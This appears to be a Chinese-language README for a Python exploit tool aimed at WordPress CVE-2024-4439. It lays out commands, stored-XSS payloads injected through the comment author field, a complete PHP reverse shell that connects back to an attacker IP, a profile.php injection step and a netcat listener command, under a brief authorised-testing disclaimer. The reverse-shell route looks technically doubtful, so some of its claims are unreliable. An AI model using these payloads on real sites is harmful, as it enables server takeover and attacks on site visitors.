WordPress CVE-2024-4439 漏洞利用工具
本项目是一个针对 CVE-2024-4439 漏洞的 Python 利用脚本,用于在测试环境中验证 WordPress 站点的安全性。该工具支持注入自定义 XSS 载荷以及通过 wp-admin/profile.php 植入 PHP 反向 Shell,帮助安全研究人员理解漏洞的攻击向量与影响范围。
功能特性
-
XSS 载荷注入
通过/wp-comments-post.php接口,在评论的author字段注入自定义或默认的 XSS 载荷(如onmouseover=alert(...)),触发跨站脚本攻击。 -
PHP 反向 Shell 植入
利用wp-admin/profile.php中的不安全字段,将 PHP 反向 Shell 代码注入到用户名字段中,攻击者可远程获取目标服务器的 shell 访问权限。 -
灵活的参数配置
支持命令行指定目标 URL、自定义载荷、攻击者 IP 及端口,方便集成到自动化渗透测试流程中。 -
清晰的执行反馈
脚本在执行后会输出每个阶段的成功或失败状态,并展示项目主页与社群链接。
安装指南
系统要求
- Python 3.6 或更高版本
- 目标 WordPress 站点未修复 CVE-2024-4439 漏洞(仅用于授权测试)
依赖安装
# 克隆项目仓库
git clone https://github.com/soltanali0/CVE-2024-4439.git
cd CVE-2024-4439
# 安装 Python 依赖
pip install -r r.txt --break-system-packages
依赖库包括:
requests- 发送 HTTP 请求colorama- 终端彩色输出
使用说明
基础命令
python3 exploit.py -u <目标URL> --ip <攻击者IP> --port <监听端口> [-p <自定义XSS载荷>]
参数说明
| 参数 | 必填 | 说明 |
|---|---|---|
-u, --url | 是 | 目标 WordPress 站点的完整 URL(如 https://example.com) |
--ip | 是 | 攻击者接收反向 shell 的 IP 地址 |
--port | 是 | 攻击者监听的端口号 |
-p, --payload | 否 | 自定义 XSS 载荷,默认值为 ' onmouseover=alert("GO-TO CVE"); //' |
使用示例
1. 使用默认 XSS 载荷并植入反向 Shell
python3 exploit.py -u https://vulnerable-site.com --ip 192.168.1.100 --port 4444
2. 使用自定义 XSS 载荷
python3 exploit.py -u https://vulnerable-site.com --ip 192.168.1.100 --port 4444 -p ' onerror=alert("XSS")//'
3. 在攻击者机器上启动 Netcat 监听
nc -lvp 4444
执行脚本后,若反向 Shell 注入成功,攻击者将在监听终端获得目标服务器的 shell 交互。
典型攻击流程
-
XSS 投递
脚本向https://target.com/wp-comments-post.php发送 POST 请求,将载荷写入评论作者字段。若目标站点未对用户输入进行过滤,则 XSS 载荷将被存储并在管理员或用户访问评论时执行。 -
反向 Shell 注入
脚本向https://target.com/wp-admin/profile.php发送 POST 请求,将 PHP 反向 Shell 代码注入用户资料字段(如first_name)。若 WordPress 允许 PHP 代码执行或后续包含该字段,则攻击者可获得远程 shell。 -
获取访问权限
攻击者提前使用nc -lvp <端口>建立监听,一旦反向 Shell 被触发,即可获得目标系统的命令执行能力。
核心代码
1. XSS 载荷注入模块
# 构造恶意评论数据,将载荷放入 author 字段
xss_payload = args.payload if args.payload else ' onmouseover=alert("GO-TO CVE"); //'
malicious_comment = {
"author": xss_payload,
"comment": "Text",
"submit": "Post Comment"
}
# 发送 POST 请求到 WordPress 评论接口
response_comment = requests.post(target_url + "/wp-comments-post.php", data=malicious_comment)
# 根据响应判断注入是否成功
if "Your comment is awaiting moderation." in response_comment.text:
print("XSS Comment successfully posted on /wp-comments-post.php!")
else:
print("Failed to post XSS Comment on /wp-comments-post.php.")
2. PHP 反向 Shell 生成与注入模块
# 动态生成 PHP 反向 Shell 代码
reverse_shell_payload = f"""<?php
set_time_limit(0);
$ip = '{args.ip}';
$port = {args.port};
$chunk_size = 1400;
$shell = '/bin/sh';
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (is_resource($process)) {{
while (!feof($pipes[1])) {{
$output = fread($pipes[1], $chunk_size);
fwrite($sock, $output);
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}}
}}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>"""
# 通过 profile.php 注入载荷
malicious_profile = {
"first_name": reverse_shell_payload,
"submit": "Update Profile"
}
response_profile = requests.post(target_url + "/wp-admin/profile.php", data=malicious_profile)
if response_profile.status_code == 200:
print(f"Reverse Shell successfully injected on {target_url}/wp-admin/profile.php!")
else:
print("Failed to inject Reverse Shell on /wp-admin/profile.php.")
3. 命令行参数解析
import argparse
parser = argparse.ArgumentParser(description="WordPress XSS and Reverse Shell PoC Script")
parser.add_argument("-u", "--url", required=True, help="URL of the target WordPress site")
parser.add_argument("-p", "--payload", required=False, help="Custom XSS payload, defaults to GO-TO CVE alert")
parser.add_argument("--ip", required=True, help="IP address of the attacker")
parser.add_argument("--port", required=True, help="Port number for reverse shell connection")
args = parser.parse_args()
⚠️ 免责声明
本工具仅用于授权的安全测试和教育目的。未经授权对他人网站进行漏洞利用属于违法行为,使用者须自行承担相关法律责任。 6HFtX5dABrKlqXeO5PUv/5P94esnUuLnJbRpL9ru7SM=